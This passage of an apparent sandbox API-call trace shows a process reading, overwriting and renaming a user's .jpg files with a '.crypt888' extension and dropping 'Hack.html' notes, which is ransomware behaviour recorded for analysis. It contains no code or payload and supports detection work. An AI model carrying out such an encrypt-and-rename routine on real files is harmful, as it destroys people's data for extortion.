lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\M-_9CA5D_UWM9qFIzIs.jpg", lpFilePart=0x0) returned 0x48 [0084.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0084.152] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\M-_9CA5D_UWM9qFIzIs.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io3a87_qd\\m-_9ca5d_uwm9qfizis.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.152] GetFileType (hFile=0x174) returned 0x1 [0084.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0084.153] GetFileType (hFile=0x174) returned 0x1 [0084.153] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x13b3e [0084.153] ReadFile (in: hFile=0x174, lpBuffer=0x27a0174, nNumberOfBytesToRead=0x13b3e, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27a0174*, lpNumberOfBytesRead=0x39ed24*=0x13b3e, lpOverlapped=0x0) returned 1 [0084.154] CloseHandle (hObject=0x174) returned 1 [0084.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\M-_9CA5D_UWM9qFIzIs.jpg", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\M-_9CA5D_UWM9qFIzIs.jpg", lpFilePart=0x0) returned 0x48 [0084.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0084.218] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\M-_9CA5D_UWM9qFIzIs.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io3a87_qd\\m-_9ca5d_uwm9qfizis.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.221] GetFileType (hFile=0x174) returned 0x1 [0084.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0084.221] GetFileType (hFile=0x174) returned 0x1 [0084.221] WriteFile (in: hFile=0x174, lpBuffer=0x2828110*, nNumberOfBytesToWrite=0x13b40, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x2828110*, lpNumberOfBytesWritten=0x39ed14*=0x13b40, lpOverlapped=0x0) returned 1 [0084.225] CloseHandle (hObject=0x174) returned 1 [0084.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\M-_9CA5D_UWM9qFIzIs.jpg", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\M-_9CA5D_UWM9qFIzIs.jpg", lpFilePart=0x0) returned 0x48 [0084.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\M-_9CA5D_UWM9qFIzIs.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\M-_9CA5D_UWM9qFIzIs.jpg.crypt888", lpFilePart=0x0) returned 0x51 [0084.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0084.233] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\M-_9CA5D_UWM9qFIzIs.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io3a87_qd\\m-_9ca5d_uwm9qfizis.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f960b60, ftCreationTime.dwHighDateTime=0x1d4564d, ftLastAccessTime.dwLowDateTime=0xbe9e410, ftLastAccessTime.dwHighDateTime=0x1d46107, ftLastWriteTime.dwLowDateTime=0xc3678a60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x13b40)) returned 1 [0084.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0084.233] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\M-_9CA5D_UWM9qFIzIs.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io3a87_qd\\m-_9ca5d_uwm9qfizis.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\M-_9CA5D_UWM9qFIzIs.jpg.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io3a87_qd\\m-_9ca5d_uwm9qfizis.jpg.crypt888")) returned 1 [0084.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0084.234] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm", lpFilePart=0x0) returned 0x3d [0084.234] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\", lpFilePart=0x0) returned 0x3e [0084.234] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a728 [0084.234] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0084.234] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0084.235] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0084.235] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0084.235] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0084.235] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0084.235] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0084.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0084.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0084.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0084.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm", lpFilePart=0x0) returned 0x3d [0084.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\", lpFilePart=0x0) returned 0x3e [0084.236] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a728 [0084.236] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0084.236] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0084.237] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0084.237] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0084.237] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0084.237] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0084.237] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0084.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0084.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0084.238] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\2Rgz8n.jpg", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\2Rgz8n.jpg", lpFilePart=0x0) returned 0x48 [0084.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0084.238] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\2Rgz8n.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io3a87_qd\\ishaqk9_udkm\\2rgz8n.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.238] GetFileType (hFile=0x174) returned 0x1 [0084.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0084.238] GetFileType (hFile=0x174) returned 0x1 [0084.238] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x17db7 [0084.239] ReadFile (in: hFile=0x174, lpBuffer=0x390ed70, nNumberOfBytesToRead=0x17db7, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x390ed70*, lpNumberOfBytesRead=0x39ecf0*=0x17db7, lpOverlapped=0x0) returned 1 [0084.240] CloseHandle (hObject=0x174) returned 1 [0084.452] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\2Rgz8n.jpg", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\2Rgz8n.jpg", lpFilePart=0x0) returned 0x48 [0084.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0084.452] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\2Rgz8n.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io3a87_qd\\ishaqk9_udkm\\2rgz8n.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.453] GetFileType (hFile=0x174) returned 0x1 [0084.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0084.453] GetFileType (hFile=0x174) returned 0x1 [0084.453] WriteFile (in: hFile=0x174, lpBuffer=0x36698d0*, nNumberOfBytesToWrite=0x17dc0, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x36698d0*, lpNumberOfBytesWritten=0x39ece0*=0x17dc0, lpOverlapped=0x0) returned 1 [0084.455] CloseHandle (hObject=0x174) returned 1 [0084.462] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\2Rgz8n.jpg", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\2Rgz8n.jpg", lpFilePart=0x0) returned 0x48 [0084.462] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\2Rgz8n.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\2Rgz8n.jpg.crypt888", lpFilePart=0x0) returned 0x51 [0084.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0084.462] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\2Rgz8n.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io3a87_qd\\ishaqk9_udkm\\2rgz8n.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8725ed0, ftCreationTime.dwHighDateTime=0x1d4612e, ftLastAccessTime.dwLowDateTime=0x27a02bb0, ftLastAccessTime.dwHighDateTime=0x1d465a3, ftLastWriteTime.dwLowDateTime=0xc38b3f00, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x17dc0)) returned 1 [0084.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0084.462] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\2Rgz8n.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io3a87_qd\\ishaqk9_udkm\\2rgz8n.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\2Rgz8n.jpg.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io3a87_qd\\ishaqk9_udkm\\2rgz8n.jpg.crypt888")) returned 1 [0084.463] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\OGJzuHiJXz01 kS.jpg", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\OGJzuHiJXz01 kS.jpg", lpFilePart=0x0) returned 0x51 [0084.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0084.463] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\OGJzuHiJXz01 kS.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io3a87_qd\\ishaqk9_udkm\\ogjzuhijxz01 ks.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.463] GetFileType (hFile=0x174) returned 0x1 [0084.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0084.463] GetFileType (hFile=0x174) returned 0x1 [0084.464] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x1d86 [0084.464] ReadFile (in: hFile=0x174, lpBuffer=0x26b02cc, nNumberOfBytesToRead=0x1d86, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x26b02cc*, lpNumberOfBytesRead=0x39ecf0*=0x1d86, lpOverlapped=0x0) returned 1 [0084.468] CloseHandle (hObject=0x174) returned 1 [0084.539] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\OGJzuHiJXz01 kS.jpg", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\OGJzuHiJXz01 kS.jpg", lpFilePart=0x0) returned 0x51 [0084.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0084.539] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\OGJzuHiJXz01 kS.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io3a87_qd\\ishaqk9_udkm\\ogjzuhijxz01 ks.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.540] GetFileType (hFile=0x174) returned 0x1 [0084.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0084.541] GetFileType (hFile=0x174) returned 0x1 [0084.541] WriteFile (in: hFile=0x174, lpBuffer=0x27065c0*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x27065c0*, lpNumberOfBytesWritten=0x39ece0*=0x1d90, lpOverlapped=0x0) returned 1 [0084.545] CloseHandle (hObject=0x174) returned 1 [0084.548] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\OGJzuHiJXz01 kS.jpg", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\OGJzuHiJXz01 kS.jpg", lpFilePart=0x0) returned 0x51 [0084.548] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\OGJzuHiJXz01 kS.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\OGJzuHiJXz01 kS.jpg.crypt888", lpFilePart=0x0) returned 0x5a [0084.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0084.549] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\OGJzuHiJXz01 kS.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io3a87_qd\\ishaqk9_udkm\\ogjzuhijxz01 ks.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaae0bf0, ftCreationTime.dwHighDateTime=0x1d45f83, ftLastAccessTime.dwLowDateTime=0x960af520, ftLastAccessTime.dwHighDateTime=0x1d45960, ftLastWriteTime.dwLowDateTime=0xc39725e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x1d90)) returned 1 [0084.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0084.549] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\OGJzuHiJXz01 kS.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io3a87_qd\\ishaqk9_udkm\\ogjzuhijxz01 ks.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\OGJzuHiJXz01 kS.jpg.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io3a87_qd\\ishaqk9_udkm\\ogjzuhijxz01 ks.jpg.crypt888")) returned 1 [0084.550] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\Hack.html", lpFilePart=0x0) returned 0x47 [0084.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0084.550] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\isHaQK9_udKm\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io3a87_qd\\ishaqk9_udkm\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0084.550] GetFileType (hFile=0x174) returned 0x1 [0084.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0084.550] GetFileType (hFile=0x174) returned 0x1 [0084.550] WriteFile (in: hFile=0x174, lpBuffer=0x2709f18*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2709f18*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0084.551] CloseHandle (hObject=0x174) returned 1 [0084.552] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\Hack.html", lpFilePart=0x0) returned 0x3a [0084.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0084.552] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io3a87_qd\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0084.552] GetFileType (hFile=0x174) returned 0x1 [0084.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0084.552] GetFileType (hFile=0x174) returned 0x1 [0084.553] WriteFile (in: hFile=0x174, lpBuffer=0x270c708*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x270c708*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0084.554] CloseHandle (hObject=0x174) returned 1 [0084.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0084.554] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ", lpFilePart=0x0) returned 0x32 [0084.554] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\", lpFilePart=0x0) returned 0x33 [0084.554] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0084.554] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.555] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.555] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.555] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.555] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.555] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.555] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.555] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0084.556] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0084.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0084.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0084.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0084.556] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ", lpFilePart=0x0) returned 0x32 [0084.556] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\", lpFilePart=0x0) returned 0x33 [0084.556] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0084.556] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.557] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.557] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.557] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.557] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.557] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.558] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.558] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0084.558] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0084.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0084.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0084.559] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 